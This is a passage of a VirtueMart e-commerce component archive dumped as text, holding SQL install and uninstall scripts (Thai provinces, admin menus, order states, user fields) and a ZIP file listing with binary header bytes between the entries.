'พช', 1), (692, 1, 209, 'แพร่ ', 'พร', 'พร', 1), (693, 1, 209, 'พะเยา', 'พย', 'พย', 1), (694, 1, 209, 'ภูเก็ต', 'ภก', 'ภก', 1), (695, 1, 209, 'มหาสารคาม', 'มค', 'มค', 1), (696, 1, 209, 'แม่ฮ่องสอน', 'มส', 'มส', 1), (697, 1, 209, 'มุกดาหาร', 'มห', 'มห', 1), (698, 1, 209, 'ยะลา', 'ยล', 'ยล', 1), (699, 1, 209, 'ยโสธร', 'ยส', 'ยส', 1), (700, 1, 209, 'ร้อยเอ็ด', 'รอ', 'รอ', 1), (701, 1, 209, 'ระนอง', 'รน', 'รน', 1), (702, 1, 209, 'ระยอง', 'รย', 'รย', 1), (703, 1, 209, 'ราชบุรี', 'รบ', 'รบ', 1), (704, 1, 209, 'ลพบุรี', 'ลบ', 'ลบ', 1), (705, 1, 209, 'ลำปาง', 'ลป', 'ลป', 1), (706, 1, 209, 'ลำพูน', 'ลพ', 'ลพ', 1), (707, 1, 209, 'เลย', 'ลย', 'ลย', 1), (708, 1, 209, 'ศรีสะเกษ', 'ศก', 'ศก', 1), (709, 1, 209, 'สกลนคร', 'สน', 'สน', 1), (710, 1, 209, 'สงขลา', 'สข', 'สข', 1), (711, 1, 209, 'สตูล', 'สต', 'สต', 1), (712, 1, 209, 'สมุทรปราการ', 'สป', 'สป', 1), (713, 1, 209, 'สมุทรสงคราม', 'สส', 'สส', 1), (714, 1, 209, 'สมุทรสาคร', 'สค', 'สค', 1), (715, 1, 209, 'สระบุรี', 'สบ', 'สบ', 1), (716, 1, 209, 'สระแก้ว', 'สก', 'สก', 1), (717, 1, 209, 'สิงห์บุรี ', 'สห', 'สห', 1), (718, 1, 209, 'สุโขทัย', 'สท', 'สท', 1), (719, 1, 209, 'สุพรรณบุรี', 'สพ', 'สพ', 1), (720, 1, 209, 'สุราษฎร์ธานี', 'สฎ', 'สฎ', 1), (721, 1, 209, 'สุรินทร์', 'สร', 'สร', 1), (722, 1, 209, 'หนองคาย', 'นค', 'นค', 1), (723, 1, 209, 'หนองบัวลำภู', 'นภ', 'นภ', 1), (724, 1, 209, 'อ่างทอง', 'อท', 'อท', 1), (725, 1, 209, 'อุดรธานี', 'อด', 'อด', 1), (726, 1, 209, 'อุตรดิตถ์', 'อต', 'อต', 1), (727, 1, 209, 'อุทัยธานี', 'อน', 'อน', 1), (728, 1, 209, 'อุบลราชธานี', 'อบ', 'อบ', 1), (729, 1, 209, 'อำนาจเจริญ', 'อจ', 'อจ', 1); PKB\ޛ%**install/uninstall.sqlnuW+ADROP TABLE `#__virtuemart_permgroups`, `#__virtuemart_categories`, `#__virtuemart_category_categories`, `#__virtuemart_countries`, `#__virtuemart_coupons`, `#__virtuemart_currencies`, `#__virtuemart_customs`, `#__virtuemart_customplugins`, `#__virtuemart_manufacturers`, `#__virtuemart_manufacturercategories`, `#__virtuemart_adminmenuentries`, `#__virtuemart_modules`, `#__virtuemart_orders`, `#__virtuemart_order_histories`, `#__virtuemart_order_items`, `#__virtuemart_orderstates`, `#__virtuemart_order_userinfos`, `#__virtuemart_paymentmethods`, `#__virtuemart_products`, `#__virtuemart_product_categories`, `#__virtuemart_product_customfields`, `#__virtuemart_product_downloads`, `#__virtuemart_medias`, `#__virtuemart_product_manufacturers`, `#__virtuemart_product_prices`, `#__virtuemart_product_producttypes`, `#__virtuemart_product_relations`, `#__virtuemart_rating_reviews`, `#__virtuemart_producttypes`, `#__virtuemart_producttype_customfields`, `#__virtuemart_shipmentmethods`, `#__virtuemart_shoppergroups`, `#__virtuemart_states`, `#__virtuemart_userfields`, `#__virtuemart_userfield_values`, `#__virtuemart_vmusers`, `#__virtuemart_userinfos`, `#__virtuemart_vmuser_shoppergroups`, `#__virtuemart_vendors`, `#__virtuemart_waitingusers`, `#__virtuemart_worldzones`;PKB\xi2i2"install/install_essential_data.sqlnuW+A -- VirtueMart table data SQL script -- This will insert all essential data into the VirtueMart tables -- -- Configuration data has been moved to virtuemart.cfg -- -- -- Dumping data for table `#__virtuemart_adminmenuentries` -- INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null , 1, 0, 'COM_VIRTUEMART_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_camera', 1, 1, '', 'category', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_S', '', '', 'vmicon vmicon-16-camera', 2, 1, '', 'product', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S', '', '', 'vmicon vmicon-16-document_move', 5, 1, '', 'custom', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_INVENTORY', '', '', 'vmicon vmicon-16-price_watch', 7, 1, '', 'inventory', ''), (null, 1, 0, 'COM_VIRTUEMART_CALC_S', '', '', 'vmicon vmicon-16-calculator', 8, 1, '', 'calc', ''), (null, 1, 0, 'COM_VIRTUEMART_REVIEW_RATE_S', '', '', 'vmicon vmicon-16-comments', 9, 1, '', 'ratings', ''), (null, 2, 0, 'COM_VIRTUEMART_ORDER_S', '', '', 'vmicon vmicon-16-page_white_stack', 1, 1, '', 'orders', ''), (null, 2, 0, 'COM_VIRTUEMART_COUPON_S', '', '', 'vmicon vmicon-16-shopping', 10, 1, '', 'coupon', ''), (null, 2, 0, 'COM_VIRTUEMART_REPORT', '', '', 'vmicon vmicon-16-chart_bar', 3, 1, '', 'report',''), (null, 2, 0, 'COM_VIRTUEMART_USER_S', '', '', 'vmicon vmicon-16-user', 4, 1, '', 'user', ''), (null, 2, 0, 'COM_VIRTUEMART_SHOPPERGROUP_S', '', '', 'vmicon vmicon-16-user-group', 5, 1, '', 'shoppergroup', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_S', '', '', 'vmicon vmicon-16-wrench_orange', 1, 1, '', 'manufacturer', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_wrench', 2, 1, '', 'manufacturercategories', ''), (null, 4, 0, 'COM_VIRTUEMART_STORE', '', '', 'vmicon vmicon-16-reseller_account_template', 1, 1, '', 'user', 'editshop'), (null, 4, 0, 'COM_VIRTUEMART_MEDIA_S', '', '', 'vmicon vmicon-16-pictures', 2, 1, '', 'media', ''), (null, 4, 0, 'COM_VIRTUEMART_SHIPMENTMETHOD_S', '', '', 'vmicon vmicon-16-lorry', 3, 1, '', 'shipmentmethod', ''), (null, 4, 0, 'COM_VIRTUEMART_PAYMENTMETHOD_S', '', '', 'vmicon vmicon-16-creditcards', 4, 1, '', 'paymentmethod', ''), (null, 5, 0, 'COM_VIRTUEMART_CONFIGURATION', '', '', 'vmicon vmicon-16-config', 1, 1, '', 'config', ''), (null, 5, 0, 'COM_VIRTUEMART_USERFIELD_S', '', '', 'vmicon vmicon-16-participation_rate', 2, 1, '', 'userfields', ''), (null, 5, 0, 'COM_VIRTUEMART_ORDERSTATUS_S', '', '', 'vmicon vmicon-16-document_editing', 3, 1, '', 'orderstatus', ''), (null, 5, 0, 'COM_VIRTUEMART_CURRENCY_S', '', '', 'vmicon vmicon-16-coins', 5, 1, '', 'currency', ''), (null, 5, 0, 'COM_VIRTUEMART_COUNTRY_S', '', '', 'vmicon vmicon-16-globe', 6, 1, '', 'country', ''), (null, 11, 0, 'COM_VIRTUEMART_MIGRATION_UPDATE', '', '', 'vmicon vmicon-16-installer_box', 1, 1, '', 'updatesmigration', ''), (null, 11, 0, 'COM_VIRTUEMART_ABOUT', '', '', 'vmicon vmicon-16-info', 3, 1, '', 'about', ''), (null, 11, 0, 'COM_VIRTUEMART_HELP_TOPICS', 'http://docs.virtuemart.net/', '', 'vmicon vmicon-16-help', 4, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_COMMUNITY_FORUM', 'http://forum.virtuemart.net/', '', 'vmicon vmicon-16-reseller_programm', 6, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_STATISTIC_SUMMARY', '', '', 'vmicon vmicon-16-info', 1, 1, '', 'virtuemart', ''), (null, 77, 0, 'COM_VIRTUEMART_USER_GROUP_S', '', '', 'vmicon vmicon-16-user', 2, 1, '', 'usergroups', ''), (null, 11, 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', ''); -- -- Dumping data for table `#__virtuemart_modules` -- INSERT INTO `#__virtuemart_modules` (`module_id`, `module_name`, `module_description`, `module_perms`, `published`, `is_admin`, `ordering`) VALUES (1, 'product', 'Here you can administer your online catalog of products. Categories , Products (view=product), Attributes ,Product Types Product Files (view=media), Inventory , Calculation Rules ,Customer Reviews ', 'storeadmin,admin', 1, '1', 1), (2, 'order', 'View Order and Update Order Status: Orders , Coupons , Revenue Report ,Shopper , Shopper Groups ', 'admin,storeadmin', 1, '1', 2), (3, 'manufacturer', 'Manage the manufacturers of products in your store.', 'storeadmin,admin', 1, '1', 3), (4, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (5, 'configuration', 'Configuration: shop configuration , currencies (view=currency), Credit Card List, Countries, userfields, order status ', 'admin,storeadmin', 1, '1', 5), (6, 'msgs', 'This module is unprotected an used for displaying system messages to users. We need to have an area that does not require authorization when things go wrong.', 'none', 0, '0', 99), (7, 'shop', 'This is the Washupito store module. This is the demo store included with the VirtueMart distribution.', 'none', 1, '0', 99), (8, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (9, 'account', 'This module allows shoppers to update their account information and view previously placed orders.', 'shopper,storeadmin,admin,demo', 1, '0', 99), (10, 'checkout', '', 'none', 0, '0', 99), (11, 'tools', 'Tools', 'admin', 1, '1', 8), (13, 'zone', 'This is the zone-shipment module. Here you can manage your shipment costs according to Zones.', 'admin,storeadmin', 0, '1', 11); -- -- Dumping data for table `#__virtuemart_orderstates` -- INSERT INTO `#__virtuemart_orderstates` (`virtuemart_orderstate_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `virtuemart_vendor_id`) VALUES (null, 'P', 'COM_VIRTUEMART_ORDER_STATUS_PENDING', '', 'R',1, 1), (null, 'U', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER', '', 'R',2, 1), (null, 'C', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED', '', 'R', 3, 1), (null, 'X', 'COM_VIRTUEMART_ORDER_STATUS_CANCELLED', '', 'A',4, 1), (null, 'R', 'COM_VIRTUEMART_ORDER_STATUS_REFUNDED', '', 'A',5, 1), (null, 'S', 'COM_VIRTUEMART_ORDER_STATUS_SHIPPED', '', 'O',6, 1); -- -- Dumping data for table `#__virtuemart_userfields` -- INSERT INTO `#__virtuemart_userfields` (`virtuemart_userfield_id`, `virtuemart_vendor_id`, `userfield_jplugin_id`, `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `cols`, `rows`, `value`, `default`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 0, 0, 'email', 'COM_VIRTUEMART_REGISTER_EMAIL', '', 'emailaddress', 100, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 0, 0, 'password', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 0, 0, 'password2', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 0, 0, 'agreed', 'COM_VIRTUEMART_I_AGREE_TO_TOS', '', 'checkbox', NULL, NULL, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 0, 0, 'name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 0, 0, 'username', 'COM_VIRTUEMART_USERNAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 0, 0, 'address_type_name', 'COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL', '', 'text', 32, 30, 1, NULL, NULL, NULL, 'Shipment', 0, 1, 0, 0, 0, 1, NULL, 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 0, 0, 'delimiter_billto', 'COM_VIRTUEMART_USER_FORM_BILLTO_LBL', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 0, 0, 'company', 'COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 0, 0, 'title', 'COM_VIRTUEMART_SHOPPER_FORM_TITLE', '', 'select', 0, 210, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 0, 0, 'first_name', 'COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 0, 0, 'middle_name', 'COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 0, 0, 'last_name', 'COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 0, 0, 'address_1', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1', '', 'text', 64, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 0, 0, 'address_2', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 0, 0, 'zip', 'COM_VIRTUEMART_SHOPPER_FORM_ZIP', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 0, 0, 'city', 'COM_VIRTUEMART_SHOPPER_FORM_CITY', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 0, 0, 'virtuemart_country_id', 'COM_VIRTUEMART_SHOPPER_FORM_COUNTRY', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 0, 0, 'virtuemart_state_id', 'COM_VIRTUEMART_SHOPPER_FORM_STATE', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 0, 0, 'phone_1', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 0, 0, 'phone_2', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE2', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 0, 0, 'fax', 'COM_VIRTUEMART_SHOPPER_FORM_FAX', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 0, 0, 'delimiter_sendregistration', 'COM_VIRTUEMART_BUTTON_SEND_REG', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, NULL, 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 0, 0, 'delimiter_userinfo', 'COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL', '', 'delimiter', NULL, NULL, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 0, 'tax_exemption_number', 'COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR', 'Vendors can set here a tax exemption number for a shopper. This field is only changeable by administrators.', 'text', 10, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 48, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 0, 'tax_usage_type', 'COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE', 'Federal, national, educational, public, or similar often get a special tax. This field is only writable by administrators.', 'select', 0, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 50, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0);PKB\#o,, index.htmlnuW+APKB\)fvmfiles/invoices/.htaccessnuW+APKB\)/vmfiles/.htaccessnuW+APKB\)language/en-GB/.htaccessnuW+APKB\T3jj+language/en-GB/en-GB.com_virtuemart_log.ininuW+APKB\RXDb)b)1{language/en-GB/en-GB.com_virtuemart_countries.ininuW+APKB\+ZZ'>.language/en-GB/en-GB.com_virtuemart.ininuW+APKB\Vlanguage/en-GB/index.htmlnuW+APKB\vSr,Wlanguage/en-GB/en-GB.com_virtuemart_help.ininuW+APKB\ƷSS.Jlanguage/en-GB/en-GB.com_virtuemart_config.ininuW+APKB\V?-ilanguage/en-GB/en-GB.com_virtuemart_media.ininuW+APKB\)+{language/.htaccessnuW+APKB\V{language/index.htmlnuW+APKB\t1 N|COPYRIGHT.phpnuW+APKB\2!tplugins/vmuserfieldtypeplugin.phpnuW+APKB\%ؔplugins/currency_converter/index.htmlnuW+APKB\/Ǿ)-plugins/currency_converter/convertECB.phpnuW+APKB\il)Dplugins/currency_converter/convertECB.xmlnuW+APKB\)$plugins/currency_converter/.htaccessnuW+APKB\?L--plugins/vmextendedplugin.phpnuW+APKB\{9FFplugins/vmcouponplugin.phpnuW+APKB\plugins/index.htmlnuW+APKB\Y((plugins/vmcustomplugin.phpnuW+APKB\)plugins/.htaccessnuW+APKB\^xJxJplugins/vmplugin.phpnuW+APKB\oixxm;plugins/vmpsplugin.phpnuW+APKB\O+plugins/vmcalculationplugin.phpnuW+APKB\Bplugins/vmcurrencyplugin.phpnuW+APKB\ F))plugins/vmshopperplugin.phpnuW+APKB\%:*ZZ views/calc/view.html.phpnuW+APKB\)views/calc/.htaccessnuW+APKB\_.VVoviews/calc/tmpl/edit_calc.phpnuW+APKB\J...views/calc/tmpl/default.phpnuW+APKB\)Hviews/calc/tmpl/.htaccessnuW+APKB\iSIviews/calc/tmpl/edit.phpnuW+APKB\Mviews/calc/tmpl/index.htmlnuW+APKB\Mviews/calc/index.htmlnuW+APKB\)Nviews/log/.htaccessnuW+APKB\:؆Nviews/log/tmpl/edit.phpnuW+APKB\Sviews/log/tmpl/index.htmlnuW+APKB\)/Tviews/log/tmpl/.htaccessnuW+APKB\Ci  Tviews/log/tmpl/default.phpnuW+APKB\IBS^views/log/view.html.phpnuW+APKB\-fviews/log/index.htmlnuW+APKB\$qfviews/shipmentmethod/tmpl/index.htmlnuW+APKB\X'fviews/shipmentmethod/tmpl/edit_edit.phpnuW+APKB\<%)nviews/shipmentmethod/tmpl/edit_config.phpnuW+APKB\F/ kw w %Iwviews/shipmentmethod/tmpl/default.phpnuW+APKB\"views/shipmentmethod/tmpl/edit.phpnuW+APKB\)#Oviews/shipmentmethod/tmpl/.htaccessnuW+APKB\)!views/shipmentmethod/.htaccessnuW+APKB\fUߙ"views/shipmentmethod/view.html.phpnuW+APKB\ܜviews/shipmentmethod/index.htmlnuW+APKB\#o,,+views/custom/index.htmlnuW+APKB\n views/custom/view.json.phpnuW+APKB\)zviews/custom/.htaccessnuW+APKB\|5 5 ?views/custom/tmpl/edit.phpnuW+APKB\Ȟviews/custom/tmpl/default.phpnuW+APKB\)views/custom/tmpl/.htaccessnuW+APKB\Eloviews/custom/tmpl/index.htmlnuW+APKB\9|views/custom/view.html.phpnuW+APKB\)views/shoppergroup/.htaccessnuW+APKB\views/shoppergroup/index.htmlnuW+APKB\M views/shoppergroup/view.html.phpnuW+APKB\)!8views/shoppergroup/tmpl/.htaccessnuW+APKB\"views/shoppergroup/tmpl/index.htmlnuW+APKB\j#Zviews/shoppergroup/tmpl/default.phpnuW+APKB\=;PP tviews/shoppergroup/tmpl/edit.phpnuW+APKB\]Dviews/media/tmpl/default.phpnuW+APKB\)*views/media/tmpl/.htaccessnuW+APKB\#o,,*views/media/tmpl/index.htmlnuW+APKB\~JN+views/media/tmpl/edit.phpnuW+APKB\蠘2views/media/view.json.phpnuW+APKB\):views/media/.htaccessnuW+APKB\(&&;views/media/view.html.phpnuW+APKB\#o,,-Jviews/media/index.htmlnuW+APKB\) Jviews/updatesmigration/.htaccessnuW+APKB\!?\i55.nKviews/updatesmigration/tmpl/update_preview.phpnuW+APKB\1l+^views/updatesmigration/tmpl/insfinished.phpnuW+APKB\k'Snviews/updatesmigration/tmpl/default.phpnuW+APKB\'~rviews/updatesmigration/tmpl/install.phpnuW+APKB\R{G-{views/updatesmigration/tmpl/default_tools.phpnuW+APKB\&views/updatesmigration/tmpl/index.htmlnuW+APKB\)%Mviews/updatesmigration/tmpl/.htaccessnuW+APKB\g0!views/updatesmigration/tmpl/default_migrator.phpnuW+APKB\/ .views/updatesmigration/tmpl/default_update.phpnuW+APKB\hQQ$views/updatesmigration/view.html.phpnuW+APKB\!7views/updatesmigration/index.htmlnuW+APKB\)views/userfields/.htaccessnuW+APKB\Qviews/userfields/index.htmlnuW+APKB\33views/userfields/view.html.phpnuW+APKB\&&views/userfields/tmpl/edit.phpnuW+APKB\)"views/userfields/tmpl/.htaccessnuW+APKB\ S#views/userfields/tmpl/index.htmlnuW+APKB\!#views/userfields/tmpl/default.phpnuW+APKB\y;views/userfields/view.json.phpnuW+APKB\#o,,Eviews/index.htmlnuW+APKB\)tEviews/user/.htaccessnuW+APKB\7Fviews/user/index.htmlnuW+APKB\2[|Fviews/user/tmpl/edit_vendor.phpnuW+APKB\w·  Xviews/user/tmpl/default.phpnuW+APKB\iviews/user/tmpl/index.htmlnuW+APKB\پ22%7jviews/user/tmpl/edit_vendorletter.phpnuW+APKB\)l "views/user/tmpl/edit_orderlist.phpnuW+APKB\ޤ views/user/tmpl/edit_shopper.phpnuW+APKB\)views/user/tmpl/.htaccessnuW+APKB\5 views/user/tmpl/edit_shipto.phpnuW+APKB\7  views/user/tmpl/edit.phpnuW+APKB\55$5$ views/user/view.html.phpnuW+APKB\Elviews/manufacturer/index.htmlnuW+APKB\A views/manufacturer/view.html.phpnuW+APKB\) views/manufacturer/.htaccessnuW+APKB\#ͮ #views/manufacturer/tmpl/default.phpnuW+APKB\2+ views/manufacturer/tmpl/edit.phpnuW+APKB\)!G(views/manufacturer/tmpl/.htaccessnuW+APKB\h=')views/manufacturer/tmpl/edit_images.phpnuW+APKB\Tnn,_-views/manufacturer/tmpl/edit_description.phpnuW+APKB\))5views/.htaccessnuW+APKB\)5views/config/.htaccessnuW+APKB\/%6views/config/tmpl/default_pricing.phpnuW+APKB\GHviews/config/tmpl/default.phpnuW+APKB\#o,,Oviews/config/tmpl/index.htmlnuW+APKB\)Oviews/config/tmpl/.htaccessnuW+APKB\V7F%F%&Pviews/config/tmpl/default_checkout.phpnuW+APKB\>^g7g7'evviews/config/tmpl/default_shopfront.phpnuW+APKB\et !#views/config/tmpl/default_sef.phpnuW+APKB\Wcjcj'Lviews/config/tmpl/default_templates.phpnuW+APKB\0^ ^ +#views/config/tmpl/default_product_order.phpnuW+APKB\)*["/views/config/tmpl/default_shop.phpnuW+APKB\)aUUJviews/config/view.html.phpnuW+APKB\#o,,aviews/config/index.htmlnuW+APKB\)aviews/inventory/.htaccessnuW+APKB\bviews/inventory/index.htmlnuW+APKB\cviews/inventory/tmpl/index.htmlnuW+APKB\)Scviews/inventory/tmpl/.htaccessnuW+APKB\ao  dviews/inventory/tmpl/default.phpnuW+APKB\˨Q =vviews/inventory/view.html.phpnuW+APKB\%views/orders/tmpl/index.htmlnuW+APKB\&z33!qviews/orders/tmpl/order_print.phpnuW+APKB\ަ&views/orders/tmpl/order_editstatus.phpnuW+APKB\X8 הviews/orders/tmpl/order.phpnuW+APKB\d?''B% views/orders/tmpl/orders.phpnuW+APKB\)@M views/orders/tmpl/.htaccessnuW+APKB\!! N views/orders/view.html.phpnuW+APKB\Qo views/orders/view.raw.phpnuW+APKB\Ɓ views/orders/index.htmlnuW+APKB\) views/orders/.htaccessnuW+APKB\)҂ views/about/.htaccessnuW+APKB\#o,, views/about/index.htmlnuW+APKB\gk) views/about/view.html.phpnuW+APKB\#o,, views/about/tmpl/index.htmlnuW+APKB\) views/about/tmpl/.htaccessnuW+APKB\!wKK_ views/about/tmpl/default.phpnuW+APKB\Qo o  views/virtuemart/view.html.phpnuW+APKB\) views/virtuemart/.htaccessnuW+APKB\#o,,| views/virtuemart/index.htmlnuW+APKB\) views/virtuemart/tmpl/.htaccessnuW+APKB\2EJII0 views/virtuemart/tmpl/default_statisticspage.phpnuW+APKB\bb!j views/virtuemart/tmpl/default.phpnuW+APKB\#o,,  views/virtuemart/tmpl/index.htmlnuW+APKB\͚rnn. views/virtuemart/tmpl/default_controlpanel.phpnuW+APKB\--*e views/manufacturercategories/view.html.phpnuW+APKB\PG(: : - views/manufacturercategories/tmpl/default.phpnuW+APKB\9~CC* views/manufacturercategories/tmpl/edit.phpnuW+APKB\)+ views/manufacturercategories/tmpl/.htaccessnuW+APKB\, views/manufacturercategories/tmpl/index.htmlnuW+APKB\'V views/manufacturercategories/index.htmlnuW+APKB\)& views/manufacturercategories/.htaccessnuW+APKB\&  views/coupon/view.html.phpnuW+APKB\ views/coupon/index.htmlnuW+APKB\M!== views/coupon/tmpl/default.phpnuW+APKB\Xo o  views/coupon/tmpl/edit.phpnuW+APKB\T views/coupon/tmpl/index.htmlnuW+APKB\) views/coupon/tmpl/.htaccessnuW+APKB\)j views/coupon/.htaccessnuW+APKB\/ views/country/index.htmlnuW+APKB\w views/country/view.html.phpnuW+APKB\ views/country/tmpl/default.phpnuW+APKB\. views/country/tmpl/index.htmlnuW+APKB\) / views/country/tmpl/.htaccessnuW+APKB\` / views/country/tmpl/edit.phpnuW+APKB\)9 views/country/.htaccessnuW+APKB\): views/orderstatus/.htaccessnuW+APKB\P ; views/orderstatus/tmpl/edit.phpnuW+APKB\) F views/orderstatus/tmpl/.htaccessnuW+APKB\!G views/orderstatus/tmpl/index.htmlnuW+APKB\&9"H views/orderstatus/tmpl/default.phpnuW+APKB\8 KY views/orderstatus/view.html.phpnuW+APKB\_f views/orderstatus/index.htmlnuW+APKB\)f views/currency/.htaccessnuW+APKB\)rg 